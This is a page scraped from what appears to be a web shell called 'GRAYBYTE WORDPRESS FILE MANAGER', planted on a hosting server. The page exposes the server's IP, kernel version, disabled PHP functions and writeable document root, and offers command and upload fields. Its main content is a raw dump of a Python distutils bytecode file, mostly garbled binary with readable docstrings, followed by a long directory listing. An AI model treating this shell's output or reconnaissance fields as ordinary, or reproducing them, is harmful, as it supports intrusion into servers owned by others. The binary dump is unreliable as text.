GRAYBYTE WORDPRESS FILE MANAGER4857

Server IP : 149.255.58.128 / Your IP : 216.73.216.144
System : Linux cloud516.thundercloud.uk 5.14.0-427.26.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 17 15:51:13 EDT 2024 x86_64
PHP Version : 8.2.28
Disable Function : allow_url_include, apache_child_terminate, apache_setenv, exec, passthru, pcntl_exec, posix_kill, posix_mkfifo, posix_getpwuid, posix_setpgid, posix_setsid, posix_setuid, posix_setgid, posix_seteuid, posix_setegid, posix_uname, proc_close, proc_get_status, proc_open, proc_terminate, shell_exec, show_source, system
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib64/python3.9/distutils/__pycache__/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib64/python3.9/distutils/__pycache__//cmd.cpython-39.pyc
a

�DOg�F�@sbdZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
mZddlmZGdd�d�Z
dS)ztdistutils.cmd

Provides the Command class, the base class for the command classes
in the distutils.command package.
�N)�DistutilsOptionError)�util�dir_util�	file_util�archive_util�dep_util��logc@s"eZdZdZgZdd�Zdd�Zdd�Zdd	�Zd
d�Z	dCdd�Z
dd�ZdDdd�Zdd�Z
dEdd�ZdFdd�Zdd�ZdGdd�Zdd �Zd!d"�Zd#d$�Zd%d&�ZdHd'd(�ZdId*d+�Zd,d-�Zd.d/�Zd0d1�ZdJd2d3�ZdKd5d6�ZdLd7d8�ZdMd9d:�ZdNd;d<�ZdOd=d>�Z dPd?d@�Z!dQdAdB�Z"dS)R�Commanda}Abstract base class for defining command classes, the "worker bees"
    of the Distutils.  A useful analogy for command classes is to think of
    them as subroutines with local variables called "options".  The options
    are "declared" in 'initialize_options()' and "defined" (given their
    final values, aka "finalized") in 'finalize_options()', both of which
    must be defined by every command class.  The distinction between the
    two is necessary because option values might come from the outside
    world (command line, config file, ...), and any options dependent on
    other options must be computed *after* these outside influences have
    been processed -- hence 'finalize_options()'.  The "body" of the
    subroutine, where it does all its work based on the values of its
    options, is the 'run()' method, which must also be implemented by every
    command class.
    cCsbddlm}t||�std��|jtur0td��||_|��d|_	|j
|_
d|_d|_d|_
dS)z�Create and initialize a new Command object.  Most importantly,
        invokes the 'initialize_options()' method, which is the real
        initializer and depends on the actual command being
        instantiated.
        r)�Distributionz$dist must be a Distribution instancezCommand is an abstract classN)Zdistutils.distr�
isinstance�	TypeError�	__class__r
�RuntimeError�distribution�initialize_optionsZ_dry_run�verbose�force�help�	finalized)�self�distr�r�%/usr/lib64/python3.9/distutils/cmd.py�__init__/s


zCommand.__init__cCs<|dkr0t|d|�}|dur*t|j|�S|Snt|��dS)N�dry_run�_)�getattrr�AttributeError)r�attrZmyvalrrr�__getattr___szCommand.__getattr__cCs|js|��d|_dS)N�)r�finalize_options�rrrr�ensure_finalizediszCommand.ensure_finalizedcCstd|j��dS)a�Set default values for all the options that this command
        supports.  Note that these defaults may be overridden by other
        commands, by the setup script, by config files, or by the
        command-line.  Thus, this is not the place to code dependencies
        between options; generally, 'initialize_options()' implementations
        are just a bunch of "self.foo = None" assignments.

        This method must be implemented by all command classes.
        �,abstract method -- subclass %s must overrideN�rrr#rrrr{s
�zCommand.initialize_optionscCstd|j��dS)aSet final values for all the options that this command supports.
        This is always called as late as possible, ie.  after any option
        assignments from the command-line or from other commands have been
        done.  Thus, this is the place to code option dependencies: if
        'foo' depends on 'bar', then it is safe to set 'foo' from 'bar' as
        long as 'foo' still has the same value it was assigned in
        'initialize_options()'.

        This method must be implemented by all command classes.
        r%Nr&r#rrrr"�s�zCommand.finalize_optionsN�cCs�ddlm}|dur d|��}|j||tjd�|d}|jD]R\}}}|�|�}|ddkrn|dd�}t||�}|j|d||ftjd�qBdS)	Nr)�
longopt_xlatezcommand options for '%s':)�levelz  ����=z%s = %s)	Zdistutils.fancy_getoptr(�get_command_name�announcer	�INFOZuser_options�	translater)r�header�indentr(�optionr�valuerrr�dump_options�s

�zCommand.dump_optionscCstd|j��dS)a�A command's raison d'etre: carry out the action it exists to
        perform, controlled by the options initialized in
        'initialize_options()', customized by other commands, the setup
        script, the command-line, and config files, and finalized in
        'finalize_options()'.  All terminal output and filesystem
        interaction should be done by 'run()'.

        This method must be implemented by all command classes.
        r%Nr&r#rrr�run�s
�zCommand.runr!cCst�||�dS)zmIf the current verbosity level is of greater than or equal to
        'level' print 'msg' to stdout.
        Nr)r�msgr)rrrr-�szCommand.announcecCs&ddlm}|r"t|�tj��dS)z~Print 'msg' to stdout if the global DEBUG (taken from the
        DISTUTILS_DEBUG environment variable) flag is true.
        r)�DEBUGN)Zdistutils.debugr7�print�sys�stdout�flush)rr6r7rrr�debug_print�szCommand.debug_printcCsBt||�}|dur"t|||�|St|t�s>td|||f��|S)Nz'%s' must be a %s (got `%s`))r�setattrr�strr)rr2�what�default�valrrr�_ensure_stringlike�s

�zCommand._ensure_stringlikecCs|�|d|�dS)zWEnsure that 'option' is a string; if not defined, set it to
        'default'.
        �stringN)rB)rr2r@rrr�
ensure_string�szCommand.ensure_stringcCspt||�}|durdSt|t�r6t||t�d|��n6t|t�rTtdd�|D��}nd}|sltd||f��dS)z�Ensure that 'option' is a list of strings.  If 'option' is
        currently a string, we split it either on /,\s*/ or /\s+/, so
        "foo bar baz", "foo,bar,baz", and "foo,   bar baz" all become
        ["foo", "bar", "baz"].
        Nz,\s*|\s+css|]}t|t�VqdS�N)rr>)�.0�vrrr�	<genexpr>��z-Command.ensure_string_list.<locals>.<genexpr>Fz''%s' must be a list of strings (got %r))	rrr>r=�re�split�list�allr)rr2rA�okrrr�ensure_string_list�s


��zCommand.ensure_string_listcCs6|�|||�}|dur2||�s2td|||f��dS)Nzerror in '%s' option: )rBr)rr2Ztesterr?Z	error_fmtr@rArrr�_ensure_tested_string�s
�zCommand._ensure_tested_stringcCs|�|tjjdd�dS)z5Ensure that 'option' is the name of an existing file.�filenamez$'%s' does not exist or is not a fileN)rP�os�path�isfile�rr2rrr�ensure_filename�s�zCommand.ensure_filenamecCs|�|tjjdd�dS)Nzdirectory namez)'%s' does not exist or is not a directory)rPrRrS�isdirrUrrr�ensure_dirnames�zCommand.ensure_dirnamecCst|d�r|jS|jjSdS)N�command_name)�hasattrrYr�__name__r#rrrr,	s
zCommand.get_command_namecGsF|j�|�}|��|D](\}}t||�durt||t||��qdS)a>Set the values of any "undefined" options from corresponding
        option values in some other command object.  "Undefined" here means
        "is None", which is the convention used to indicate that an option
        has not been changed between 'initialize_options()' and
        'finalize_options()'.  Usually called from 'finalize_options()' for
        options that depend on some other command rather than another
        option of the same command.  'src_cmd' is the other command from
        which option values will be taken (a command object will be created
        for it if necessary); the remaining arguments are
        '(src_option,dst_option)' tuples which mean "take the value of
        'src_option' in the 'src_cmd' command object, and copy it to
        'dst_option' in the current command object".
        N)r�get_command_objr$rr=)rZsrc_cmdZoption_pairsZsrc_cmd_objZ
src_optionZ
dst_optionrrr�set_undefined_optionss
zCommand.set_undefined_optionscCs|j�||�}|��|S)z�Wrapper around Distribution's 'get_command_obj()' method: find
        (create if necessary and 'create' is true) the command object for
        'command', call its 'ensure_finalized()' method, and return the
        finalized command object.
        )rr\r$)r�commandZcreateZcmd_objrrr�get_finalized_command$szCommand.get_finalized_commandrcCs|j�||�SrE)r�reinitialize_command)rr^Zreinit_subcommandsrrrr`0s�zCommand.reinitialize_commandcCs|j�|�dS)z�Run some other command: uses the 'run_command()' method of
        Distribution, which creates and finalizes the command object if
        necessary and then invokes its 'run()' method.
        N)r�run_command)rr^rrrra4szCommand.run_commandcCs2g}|jD]"\}}|dus"||�r
|�|�q
|S)akDetermine the sub-commands that are relevant in the current
        distribution (ie., that need to be run).  This is based on the
        'sub_commands' class attribute: each tuple in that list may include
        a method that we call to determine if the subcommand needs to be
        run for the current distribution.  Return a list of command names.
        N)�sub_commands�append)r�commandsZcmd_name�methodrrr�get_sub_commands;s
zCommand.get_sub_commandscCst�d|��|�dS)Nzwarning: %s: %s
)r	�warnr,)rr6rrrrgKszCommand.warncCstj||||jd�dS�N�r)r�executer)r�func�argsr6r)rrrrjNszCommand.execute�cCstj|||jd�dSrh)r�mkpathr)r�name�moderrrrnQszCommand.mkpathc	Cstj|||||j||jd�S)z�Copy a file respecting verbose, dry-run and force flags.  (The
        former two default to whatever is in the Distribution object, and
        the latter defaults to false for commands that don't define it.)ri)r�	copy_filerr)r�infile�outfile�
preserve_mode�preserve_times�linkr)rrrrqTs

�zCommand.copy_filec	Cstj||||||j|jd�S)z\Copy an entire directory tree respecting verbose, dry-run,
        and force flags.
        ri)r�	copy_treerr)rrrrsrtruZpreserve_symlinksr)rrrrw]s

�zCommand.copy_treecCstj|||jd�S)z$Move a file respecting dry-run flag.ri)r�	move_filer)r�src�dstr)rrrrxfszCommand.move_filecCs ddlm}||||jd�dS)z2Spawn an external command respecting dry-run flag.r)�spawnriN)Zdistutils.spawnr{r)r�cmd�search_pathr)r{rrrr{jsz
Command.spawnc	Cstj|||||j||d�S)N)r�owner�group)r�make_archiver)r�	base_name�format�root_dir�base_dirr~rrrrr�os�zCommand.make_archivecCs�|durd|}t|t�r"|f}nt|ttf�s8td��|durRd|d�|�f}|jsdt�||�rv|�	||||�n
t
�|�dS)a�Special case of 'execute()' for operations that process one or
        more input files and generate one output file.  Works just like
        'execute()', except the operation is skipped and a different
        message printed if 'outfile' already exists and is newer than all
        files listed in 'infiles'.  If the command defined 'self.force',
        and it is true, then the command is unconditionally run -- does no
        timestamp checks.
        Nzskipping %s (inputs unchanged)z9'infiles' must be a string, or a list or tuple of stringszgenerating %s from %sz, )rr>rL�tupler
�joinrrZnewer_grouprjr	�debug)rZinfilesrsrkrlZexec_msgZskip_msgr)rrr�	make_fileus

�zCommand.make_file)Nr')r!)N)N)N)r!)r)Nr!)rm)r!r!Nr!)r!r!rr!)r!)r!r!)NNNN)NNr!)#r[�
__module__�__qualname__�__doc__rbrr r$rr"r4r5r-r<rBrDrOrPrVrXr,r]r_r`rarfrgrjrnrqrwrxr{r�r�rrrrr
sP0






�




�
	�
	

�
�r
)r�r9rRrJZdistutils.errorsrZ	distutilsrrrrrr	r
rrrr�<module>s


[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
December 12 2024 22:42:25
0 / root
0755
__init__.cpython-39.opt-1.pyc
0.377 KB
December 12 2024 10:11:38
0 / root
0644
__init__.cpython-39.opt-2.pyc
0.199 KB
December 12 2024 10:11:38
0 / root
0644
__init__.cpython-39.pyc
0.377 KB
December 12 2024 10:11:38
0 / root
0644
_msvccompiler.cpython-39.opt-1.pyc
12.484 KB
December 12 2024 10:11:38
0 / root
0644
_msvccompiler.cpython-39.opt-2.pyc
11.362 KB
December 12 2024 10:11:38
0 / root
0644
_msvccompiler.cpython-39.pyc
12.526 KB
December 12 2024 10:11:38
0 / root
0644
archive_util.cpython-39.opt-1.pyc
6.433 KB
December 12 2024 10:11:38
0 / root
0644
archive_util.cpython-39.opt-2.pyc
4.438 KB
December 12 2024 10:11:38
0 / root
0644
archive_util.cpython-39.pyc
6.433 KB
December 12 2024 10:11:38
0 / root
0644
bcppcompiler.cpython-39.opt-1.pyc
6.346 KB
December 12 2024 10:11:38
0 / root
0644
bcppcompiler.cpython-39.opt-2.pyc
6.064 KB
December 12 2024 10:11:38
0 / root
0644
bcppcompiler.cpython-39.pyc
6.346 KB
December 12 2024 10:11:38
0 / root
0644
ccompiler.cpython-39.opt-1.pyc
32.321 KB
December 12 2024 10:11:38
0 / root
0644
ccompiler.cpython-39.opt-2.pyc
16.396 KB
December 12 2024 10:11:38
0 / root
0644
ccompiler.cpython-39.pyc
32.41 KB
December 12 2024 10:11:38
0 / root
0644
cmd.cpython-39.opt-1.pyc
13.6 KB
December 12 2024 10:11:38
0 / root
0644
cmd.cpython-39.opt-2.pyc
7.871 KB
December 12 2024 10:11:38
0 / root
0644
cmd.cpython-39.pyc
13.6 KB
December 12 2024 10:11:38
0 / root
0644
config.cpython-39.opt-1.pyc
3.446 KB
December 12 2024 10:11:38
0 / root
0644
config.cpython-39.opt-2.pyc
3.064 KB
December 12 2024 10:11:38
0 / root
0644
config.cpython-39.pyc
3.446 KB
December 12 2024 10:11:38
0 / root
0644
core.cpython-39.opt-1.pyc
6.498 KB
December 12 2024 10:11:38
0 / root
0644
core.cpython-39.opt-2.pyc
3.19 KB
December 12 2024 10:11:38
0 / root
0644
core.cpython-39.pyc
6.498 KB
December 12 2024 10:11:38
0 / root
0644
cygwinccompiler.cpython-39.opt-1.pyc
8.304 KB
December 12 2024 10:11:38
0 / root
0644
cygwinccompiler.cpython-39.opt-2.pyc
6.712 KB
December 12 2024 10:11:38
0 / root
0644
cygwinccompiler.cpython-39.pyc
8.304 KB
December 12 2024 10:11:38
0 / root
0644
debug.cpython-39.opt-1.pyc
0.191 KB
December 12 2024 10:11:38
0 / root
0644
debug.cpython-39.opt-2.pyc
0.191 KB
December 12 2024 10:11:38
0 / root
0644
debug.cpython-39.pyc
0.191 KB
December 12 2024 10:11:38
0 / root
0644
dep_util.cpython-39.opt-1.pyc
2.652 KB
December 12 2024 10:11:38
0 / root
0644
dep_util.cpython-39.opt-2.pyc
1.242 KB
December 12 2024 10:11:38
0 / root
0644
dep_util.cpython-39.pyc
2.652 KB
December 12 2024 10:11:38
0 / root
0644
dir_util.cpython-39.opt-1.pyc
5.681 KB
December 12 2024 10:11:38
0 / root
0644
dir_util.cpython-39.opt-2.pyc
3.358 KB
December 12 2024 10:11:38
0 / root
0644
dir_util.cpython-39.pyc
5.681 KB
December 12 2024 10:11:38
0 / root
0644
dist.cpython-39.opt-1.pyc
33.543 KB
December 12 2024 10:11:38
0 / root
0644
dist.cpython-39.opt-2.pyc
24.47 KB
December 12 2024 10:11:38
0 / root
0644
dist.cpython-39.pyc
33.543 KB
December 12 2024 10:11:38
0 / root
0644
errors.cpython-39.opt-1.pyc
5.129 KB
December 12 2024 10:11:38
0 / root
0644
errors.cpython-39.opt-2.pyc
2.641 KB
December 12 2024 10:11:38
0 / root
0644
errors.cpython-39.pyc
5.129 KB
December 12 2024 10:11:38
0 / root
0644
extension.cpython-39.opt-1.pyc
6.755 KB
December 12 2024 10:11:38
0 / root
0644
extension.cpython-39.opt-2.pyc
3.347 KB
December 12 2024 10:11:38
0 / root
0644
extension.cpython-39.pyc
6.755 KB
December 12 2024 10:11:38
0 / root
0644
fancy_getopt.cpython-39.opt-1.pyc
10.256 KB
December 12 2024 10:11:38
0 / root
0644
fancy_getopt.cpython-39.opt-2.pyc
7.519 KB
December 12 2024 10:11:38
0 / root
0644
fancy_getopt.cpython-39.pyc
10.376 KB
December 12 2024 10:11:38
0 / root
0644
file_util.cpython-39.opt-1.pyc
5.843 KB
December 12 2024 10:11:38
0 / root
0644
file_util.cpython-39.opt-2.pyc
3.756 KB
December 12 2024 10:11:38
0 / root
0644
file_util.cpython-39.pyc
5.843 KB
December 12 2024 10:11:38
0 / root
0644
filelist.cpython-39.opt-1.pyc
9.532 KB
December 12 2024 10:11:38
0 / root
0644
filelist.cpython-39.opt-2.pyc
6.729 KB
December 12 2024 10:11:38
0 / root
0644
filelist.cpython-39.pyc
9.604 KB
December 12 2024 10:11:38
0 / root
0644
log.cpython-39.opt-1.pyc
2.261 KB
December 12 2024 10:11:38
0 / root
0644
log.cpython-39.opt-2.pyc
2.201 KB
December 12 2024 10:11:38
0 / root
0644
log.cpython-39.pyc
2.261 KB
December 12 2024 10:11:38
0 / root
0644
msvc9compiler.cpython-39.opt-1.pyc
17.06 KB
December 12 2024 10:11:38
0 / root
0644
msvc9compiler.cpython-39.opt-2.pyc
15.477 KB
December 12 2024 10:11:38
0 / root
0644
msvc9compiler.cpython-39.pyc
17.102 KB
December 12 2024 10:11:38
0 / root
0644
msvccompiler.cpython-39.opt-1.pyc
14.362 KB
December 12 2024 10:11:38
0 / root
0644
msvccompiler.cpython-39.opt-2.pyc
12.826 KB
December 12 2024 10:11:38
0 / root
0644
msvccompiler.cpython-39.pyc
14.362 KB
December 12 2024 10:11:38
0 / root
0644
spawn.cpython-39.opt-1.pyc
3.36 KB
December 12 2024 10:11:38
0 / root
0644
spawn.cpython-39.opt-2.pyc
2.254 KB
December 12 2024 10:11:38
0 / root
0644
spawn.cpython-39.pyc
3.36 KB
December 12 2024 10:11:38
0 / root
0644
sysconfig.cpython-39.opt-1.pyc
11.781 KB
December 12 2024 10:11:38
0 / root
0644
sysconfig.cpython-39.opt-2.pyc
8.376 KB
December 12 2024 10:11:38
0 / root
0644
sysconfig.cpython-39.pyc
11.781 KB
December 12 2024 10:11:38
0 / root
0644
text_file.cpython-39.opt-1.pyc
8.243 KB
December 12 2024 10:11:38
0 / root
0644
text_file.cpython-39.opt-2.pyc
3.265 KB
December 12 2024 10:11:38
0 / root
0644
text_file.cpython-39.pyc
8.243 KB
December 12 2024 10:11:38
0 / root
0644
unixccompiler.cpython-39.opt-1.pyc
6.965 KB
December 12 2024 10:11:38
0 / root
0644
unixccompiler.cpython-39.opt-2.pyc
6.351 KB
December 12 2024 10:11:38
0 / root
0644
unixccompiler.cpython-39.pyc
6.965 KB
December 12 2024 10:11:38
0 / root
0644
util.cpython-39.opt-1.pyc
15.225 KB
December 12 2024 10:11:38
0 / root
0644
util.cpython-39.opt-2.pyc
9.479 KB
December 12 2024 10:11:38
0 / root
0644
util.cpython-39.pyc
15.225 KB
December 12 2024 10:11:38
0 / root
0644
version.cpython-39.opt-1.pyc
7.141 KB
December 12 2024 10:11:38
0 / root
0644
version.cpython-39.opt-2.pyc
3.933 KB
December 12 2024 10:11:38
0 / root
0644
version.cpython-39.pyc
7.169 KB
December 12 2024 10:11:38
0 / root
0644
versionpredicate.cpython-39.opt-1.pyc
5.005 KB
December 12 2024 10:11:38
0 / root
0644
versionpredicate.cpython-39.opt-2.pyc
2.583 KB
December 12 2024 10:11:38
0 / root
0644
versionpredicate.cpython-39.pyc
5.005 KB
December 12 2024 10:11:38
0 / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF